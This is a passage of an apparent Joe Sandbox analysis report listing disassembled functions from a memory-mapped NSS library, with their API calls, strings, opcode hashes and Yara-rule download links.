SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6C6611C5

Part of subcall function 6C6652C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6C63EAC5,00000001), ref: 6C6652DF
Part of subcall function 6C6652C0: EnterCriticalSection.KERNEL32(?), ref: 6C6652F3
Part of subcall function 6C6652C0: PR_Unlock.NSS3(?), ref: 6C665358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6611D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6C6611F3

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: 45a018306512807e904c8dac7f30034aa11c60d5a4028ef825655056d1a7b090
Instruction ID: db6bdd813cf2ba6c1cf8fdb5b5729146bbc07fb9851be1f244c55297ff48c501
Opcode Fuzzy Hash: 45a018306512807e904c8dac7f30034aa11c60d5a4028ef825655056d1a7b090
Instruction Fuzzy Hash: 4961A4B0E013459BDF00DF66D845B9AB7B4BF49348F144129EC19ABB41EB31E944CB6A

Function 6C664A20 Relevance: 15.2, APIs: 10, Instructions: 182COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,?), ref: 6C664A4B
PK11_GetInternalSlot.NSS3 ref: 6C664A59
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C664AC6
TlsGetValue.KERNEL32 ref: 6C664B17
EnterCriticalSection.KERNEL32(?), ref: 6C664B2B
PR_Unlock.NSS3(?), ref: 6C664B77
PK11_FreeSymKey.NSS3(?), ref: 6C664B87
SECKEY_DestroyPrivateKey.NSS3(?), ref: 6C664B9A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C664BA9
PR_SetError.NSS3(00000000,00000000), ref: 6C664BC1

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$K11_$DestroyPrivatecalloc$CriticalDoesEnterErrorFreeInternalItem_MechanismSectionSlotUnlockUtilZfree
String ID:
API String ID: 3936029921-0
Opcode ID: eed7f35bdd27df6af7595ae5729294097cf5234468f31f2a9aae205f93fd15f7
Instruction ID: a1f7a02f66a18fb986cb98a9f9749d7e8e73b7d6ba852562a600f0ed1d4c619b
Opcode Fuzzy Hash: eed7f35bdd27df6af7595ae5729294097cf5234468f31f2a9aae205f93fd15f7
Instruction Fuzzy Hash: FE5193B5E00219AFDB00DF69D850AAFB7F9EF49308F144029E805A7B01E771ED1087AA

Function 6C66ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE10
EnterCriticalSection.KERNEL32(?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C64D079,00000000,00000001), ref: 6C66AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE7F
TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEF1
free.MOZGLUE(6C64CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C64CDBB,?), ref: 6C66AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AF30

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: c6218654c8b4fa7f614cade72da507b6a525e87a4a489a17b313a1a40388e88e
Instruction ID: 83ae48fa7b1890873aacb67ce3b68f432809cee2124f2b4be1e5a91bc47fdad1
Opcode Fuzzy Hash: c6218654c8b4fa7f614cade72da507b6a525e87a4a489a17b313a1a40388e88e
Instruction Fuzzy Hash: BE51AFB1A00611AFDB01DF26D884B56B7B4FF09319F144264E91897E12E731F864CBD6

Function 6C644CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C64AB7F,?,00000000,?), ref: 6C644CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C64AB7F,?,00000000,?), ref: 6C644CC8
TlsGetValue.KERNEL32(?,6C64AB7F,?,00000000,?), ref: 6C644CE0
EnterCriticalSection.KERNEL32(?,?,6C64AB7F,?,00000000,?), ref: 6C644CF4
PL_HashTableLookup.NSS3(?,?,?,6C64AB7F,?,00000000,?), ref: 6C644D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C644D10

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

PR_Now.NSS3(?,00000000,?), ref: 6C644D26

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C644D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C644DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C644E02

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: 6fa50a25a9985ee6a4b7c01aee7335158fcbfdbb25c82114dc6c326ff2dc4529
Instruction ID: ff21957d371164a5e3882f92d24478c673dc3906d2e6adcd5a8cefa9225ba89d
Opcode Fuzzy Hash: 6fa50a25a9985ee6a4b7c01aee7335158fcbfdbb25c82114dc6c326ff2dc4529
Instruction Fuzzy Hash: A241B7B5A00515ABEB015F28EC419A677E9EF0635DF05D170EC0887B11EF71D914CBEA

Function 6C6C4A70 Relevance: 15.1, APIs: 10, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000048,00000A20,0000032C,?,00000000,?,6C6BAEC0,00000A20,00000000), ref: 6C6C4A8B

Part of subcall function 6C680D30: calloc.MOZGLUE ref: 6C680D50
Part of subcall function 6C680D30: TlsGetValue.KERNEL32 ref: 6C680D6D

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,00000000), ref: 6C6C4AAA

Part of subcall function 6C67FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB85
Part of subcall function 6C67FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C67FBB1

PORT_Strdup_Util.NSS3(?,?,?,?,00000000), ref: 6C6C4ABD

Part of subcall function 6C680F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C622AF5,?,?,?,?,?,6C620A1B,00000000), ref: 6C680F1A
Part of subcall function 6C680F10: malloc.MOZGLUE(00000001), ref: 6C680F30
Part of subcall function 6C680F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C680F42

SECITEM_CopyItem_Util.NSS3(00000000,00000020,?,?,?,?,?,00000000), ref: 6C6C4AD6
SECITEM_CopyItem_Util.NSS3(00000000,00000034,?,?,?,?,?,?,?,?,00000000), ref: 6C6C4AEC

Part of subcall function 6C67FB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6C678D2D,?,00000000,?), ref: 6C67FB9B

SECITEM_ZfreeItem_Util.NSS3(00000020,00000000,?,?,?,00000000), ref: 6C6C4B49
SECITEM_ZfreeItem_Util.NSS3(-00000034,00000000,?,?,?,?,?,00000000), ref: 6C6C4B58
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6C6C4B64
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6C4B74
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6C4B7E

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$Alloc_CopyZfree$freememcpy$ArenaStrdup_Valuecallocmallocstrlen
String ID:
API String ID: 476651045-0
Opcode ID: 81b6ff5a19d21340a432bf9658434bd3d5a3abe2145a2b2b39fa61ea6886c81f
Instruction ID: a6d8aaaaf88d0da5545710f48f304ccbe767d56ac041d1d260c866065419cf86
Opcode Fuzzy Hash: 81b6ff5a19d21340a432bf9658434bd3d5a3abe2145a2b2b39fa61ea6886c81f
Instruction Fuzzy Hash: DE317EB56012059FDB10CF25DC81EA77BB8EF19348B044969EC4AC7B02F771E505CBAA

Function 6C6489C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6C64AE9B,00000000,?,?), ref: 6C6489DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6C622D6B,?,?,00000000), ref: 6C6489EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6C622D6B), ref: 6C648A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6C622D6B,?), ref: 6C648A11

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: dd81462de114ce31aa11625c0c30cb7ebc861e803247abce2a1b111148e634ba
Instruction ID: f4d80346d312a3b769d3ba6aefc356cc1f252a64966e97761f926e3cb72b6aa7
Opcode Fuzzy Hash: dd81462de114ce31aa11625c0c30cb7ebc861e803247abce2a1b111148e634ba
Instruction Fuzzy Hash: 4211D5B2E0030066FB005A64AC81BFB75589B4675DF08C036ED09DAB52F7A2D858C2FE

Function 6C622E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C622CDA,?,00000000), ref: 6C622E1E

Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C629003,?), ref: 6C67FD91
Part of subcall function 6C67FD80: PORT_Alloc_Util.NSS3(A4686C68,?), ref: 6C67FDA2
Part of subcall function 6C67FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C68,?,?), ref: 6C67FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C622E33

Part of subcall function 6C67FD80: free.MOZGLUE(00000000,?,?), ref: 6C67FDD1

TlsGetValue.KERNEL32 ref: 6C622E4E
EnterCriticalSection.KERNEL32(?), ref: 6C622E5E
PL_HashTableLookup.NSS3(?), ref: 6C622E71
PL_HashTableRemove.NSS3(?), ref: 6C622E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C622E96
PR_Unlock.NSS3 ref: 6C622EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C622EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C622EC5

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 16ae32a7b283f8ce67dd2581556bc2145454464cd733d80e4537e88d421c81f9
Instruction ID: 89944c69c8aefe177fffbefc414b6fa59275af1cfc0b8371de553dceaee0f154
Opcode Fuzzy Hash: 16ae32a7b283f8ce67dd2581556bc2145454464cd733d80e4537e88d421c81f9
Instruction Fuzzy Hash: 69210A72A00100A7DF111B25DC49EDB3B75EB4335EF140430ED1896751F732D569E6AA

Function 6C60FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C60FD18
sqlite3_initialize.NSS3 ref: 6C60FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C60FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C60FD99
sqlite3_free.NSS3(00000000), ref: 6C60FE3C
sqlite3_free.NSS3(?), ref: 6C60FEE3
sqlite3_free.NSS3(?), ref: 6C60FEEE

Strings

simple, xrefs: 6C60FC79

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 1ae6b6cf1fee1c42c47882100dcd9bf0721e775636e2bb76e85335fd17c236f7
Instruction ID: a0eb2b849312b69667060bcbc53ced64dd3bae5e5d0075c7d283f902c6e4c167
Opcode Fuzzy Hash: 1ae6b6cf1fee1c42c47882100dcd9bf0721e775636e2bb76e85335fd17c236f7
Instruction Fuzzy Hash: 279151B0B012059FDB08CF55CA84AAAB7F1FF85318F248568D819AB752E731E842CB59

Function 6C615CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C615EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C615EED

Strings

misuse, xrefs: 6C615EDB
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C615E64
API call with %s database connection pointer, xrefs: 6C615EC3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C615ED1
invalid, xrefs: 6C615EBE
%s at line %d of [%.10s], xrefs: 6C615EE0

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 9558e2965809af67e533dec83bc03036cd56a6cc7cf25e3abcf08800984aca53
Instruction ID: af798abacb70c706a9d4110527c716fb776e8c1a76ade42817da7f5b2c307402
Opcode Fuzzy Hash: 9558e2965809af67e533dec83bc03036cd56a6cc7cf25e3abcf08800984aca53
Instruction Fuzzy Hash: B3819170F196119BEB198E2DC858BAAF3B1BF4130AF284269D8155BF51D730E842CB9D

Function 6C5FDCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5FDDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FDE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5FDE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C5FDEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C5FDF78

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5FDE52, 6C5FDE81
database corruption, xrefs: 6C5FDE5C, 6C5FDE8B
%s at line %d of [%.10s], xrefs: 6C5FDE61, 6C5FDE90

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 2ec48be883faec999d198c8a8a1831942f7dde53b432bdc66b64765365023daf
Instruction ID: bf926ecedc4817768a17997e30bf38461ae7daedb74ad9fc9be13a0528364cef
Opcode Fuzzy Hash: 2ec48be883faec999d198c8a8a1831942f7dde53b432bdc66b64765365023daf
Instruction Fuzzy Hash: 7081C2716043049FD718DF25CC84B6A77F1AF85308F15882DE9AA8BB51EB31E946CB62

Function 6C5ACEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5AB999), ref: 6C5ACFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C5AB999), ref: 6C5AD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C5AB999), ref: 6C5AD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C5AB999), ref: 6C6F972B

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5ACFDD, 6C5AD00E, 6C5AD022, 6C5AD033, 6C6F9780
database corruption, xrefs: 6C5ACFE7, 6C5AD013, 6C5AD028, 6C5AD039, 6C5AD03E, 6C6F9786
%s at line %d of [%.10s], xrefs: 6C5ACFEC, 6C5AD018, 6C5AD029, 6C5AD03F, 6C6F978B

Memory Dump Source

Source File: 00000000.00000002.2627068572.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627022159.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627422651.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627533228.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627586878.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627627024.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627699625.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 9a8cbe0ab3c1267d76c51c6bb89709eacd6112fbfd10962c08d7731acbccc406
Instruction ID: aa24017ff77aa5339b892c55a001e276984825be19626a744335374bb0f491b2
Opcode Fuzzy Hash: 9a8cbe0ab3c1267d76c51c6bb89709eacd6112fbfd10962c08d7731acbccc406
Instruction Fuzzy Hash: ED613871A043108BD310CF6ACC40BAAB7F6EF95318F68456DE4489BB42E376E947C7A1

Function 6C684DF0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6C68536F,00000022,?,?,00000000,?), ref: 6C684E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6C684F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6C684F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6C684FAE
free.MOZGLUE(?), ref: 6C684FC8

Strings

%s=%c%s%c, xrefs: 6C684FA9
%s=%s, xrefs: 6C684F89
oShl", xrefs: 6C684DFB, 6C684EF4, 6C684EC5

Memory Dump Source

